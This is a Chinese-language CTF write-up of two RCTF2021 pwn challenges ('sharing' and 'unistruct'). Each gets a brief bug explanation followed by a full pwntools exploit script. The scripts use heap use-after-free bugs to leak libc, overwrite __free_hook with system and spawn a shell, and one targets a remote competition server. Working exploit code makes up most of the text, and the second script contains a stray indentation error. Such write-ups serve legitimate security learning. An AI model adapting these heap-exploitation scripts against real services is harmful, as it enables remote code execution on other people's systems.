RCTF2021

pwn wp

Posted by X1ng on September 13, 2021

MISC佬鲨疯了,,虽然最后一晚熬夜肝了一题保住了前十,但太菜了最后还是没做出来Pokemon

比赛时做出来的题目的wp……

sharing

  1. 在实现的对象复制时使用浅拷贝,并且使用了引用计数
  2. 在申请的时候如果对象数组中目标位置已经有对象了则会先申请对象再释放原来的对象
  3. hint分支中可以将任意地址中的数据减2,但是需要hint为长度16的字符串并且所有字符16进制相加等于0x2f767991,可见字符相加不可能实现。但是可以让所有字符相加等于0x12f767991绕过检查
  4. 思路即利用tcache中残留的数据泄露堆地址,某个对象浅拷贝后进入hint分支将引用计数恢复为1,释放对象造成了UAF,构造堆块重叠后修改堆块size以便放入unsorted_bin泄露libc地址,最后改free_hook

exp:

#!/usr/bin/python3

from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='sharing'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('124.70.137.88', 30000)



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
	sla('Choice:',str(num))

def add(idx,sz):
	cho(1)
	sla('Idx:',str(idx))
	sla('Sz:',str(sz))

def edit(idx,val):
	cho(4)
	sla('Idx:',str(idx))
	ru('Content:')
	sd(val)

def show(idx):
	cho(3)
	sla('Idx:',str(idx))


def copy(fr, to):
	cho(2)
	sla('From:',str(fr))
	sla('To:',str(to))

add(0,0x28)
add(1,0x28)
add(0,0x18)
add(1,0x18)

add(0,0x28)
show(0)
ru(" ")
heap=leak_address()+0x30
print(hex(heap))
copy(0,4)
copy(0,5)

hint=0x4BDD9E64
cho(57005)
sla('Hint: ',p32(hint)+p32(hint)+p32(hint)+p32(hint+1))
sla('Addr: ',str(heap+8))

add(2,0x18)
add(3,0x28)
add(2,0x28)
add(3,0x18)

add(0,0x18)

edit(4,p64(heap-0x70)+b'\n')
add(6,0x18)
add(7,0x28)
edit(7,p64(0)+p64(0x441))


for i in range(6):
	add(i+20,0x28)

add(1,0x28)

add(27,0x28)
add(28,0x28)
add(29,0x28)
show(3)

ru(' ')
libcbase=leak_address()-0x3ebca0
print(hex(libcbase))
system=libc.sym['system']+libcbase
free_hook=libc.sym['__free_hook']+libcbase

edit(3,p64(0)*4+p64(free_hook))

add(11,0x18)
add(12,0x18)
edit(11,'/bin/sh\x00')
edit(12,p64(system))

ia()

unistruct

  1. 实现了一个通用的数据类型,随意输入发现整数数组类型的修改存在bug,修改后原值并没有发生改变
  2. 经过调试可以知道数组类型在操作时候会先申请一个相同大小的临时堆块,append的时候如果超出原堆块大小,则会释放临时堆块申请更大的堆块保存数据,而place则只会将数据保存临时堆块上,可能造成UAF,操作的时候还会输出临时堆块上的值
  3. 字符串类型与c++的string类似,当输入的字符串长度大于目前申请到的内存则会释放原内存申请更大的内存来存放字符串
  4. 思路就是申请超大数组,append操作将临时堆块释放,place操作以整数形式泄露libc地址的低四字节,再申请tcache大小数组,append操作将堆块放入tcache后place操作修改fd为free_hook,改free_hook为system之后申请”/bin/sh”字符串并用 / 填充足够长触发free即可拿到shell(爆破1/256 libc地址)

exp:

#!/usr/bin/python3

from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='unistruct'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

def exp():
	if local:
		p=process("./"+binary_name)
	else:
		p=remote('124.70.137.88', 40000)



	def z(a=''):
		if local:
			gdb.attach(p,a)
			if a=='':
				raw_input
		else:
			pass

	ru=lambda x:p.recvuntil(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sa=lambda a,b:p.sendafter(a,b)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda :p.interactive()
	def leak_address():
		if(context.arch=='i386'):
			return u32(p.recv(4))
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))

	def cho(num):
		sla('Choice:',str(num))

	def add(idx,tp,val):
		cho(1)
		sla('Index:',str(idx))
		sla('Type:',str(tp))
		sla('Value:',val)

	def edit123(idx,val):
		cho(2)
		sla('Index:',str(idx))
		sl(val)
	def edit4(idx,val):
		cho(2)
		sla('Index:',str(idx))
		for i in val:
			sla('1 for in place: ','1')
			sla('New value: ',str(i))


	def show(idx):
		cho(3)
		sla('Index:',str(idx))


	def free(idx):
		cho(4)
		sla('Index:',str(idx))




	add(0,4,'265')
	cho(2)
	sla('Index:',str(0))
	sla('1 for in place: ','0')
	sla('New value: ','1')
	ru('Old value: ')
	libcbase=int(ru('\n')[:-1],10)|0x7fff00000000
	libcbase -= 0x3ebca0
	print(hex(libcbase))
	
	system=libc.sym['system']+libcbase
	free_hook=libc.sym['__free_hook']+libcbase

	sla('1 for in place: ','0')
	sla('New value: ','3405691582')
	free(0)



	add(1,4,'11')
	cho(2)
	sla('Index:',str(1))
	sla('1 for in place: ','0')
	sla('New value: ','1')
	sla('1 for in place: ','1')
	sla('New value: ',str(free_hook&0xffffffff))
	sla('1 for in place: ','1')
	sla('New value: ',str(free_hook>>32))

	sla('1 for in place: ','0')
	sla('New value: ','3405691582')



	add(2,4,'11')
	cho(2)
	sla('Index:',str(1))
	sla('1 for in place: ','1')
	sla('New value: ',str(system&0xffffffff))
	sla('1 for in place: ','1')
	sla('New value: ',str(system>>32))
	
		sla('1 for in place: ','0')
	sla('New value: ','3405691582')

	add(3,3,'/////////////////////////////////////////////bin/sh')
	ia()

while 1:
	try:
		exp()
	except:
		pass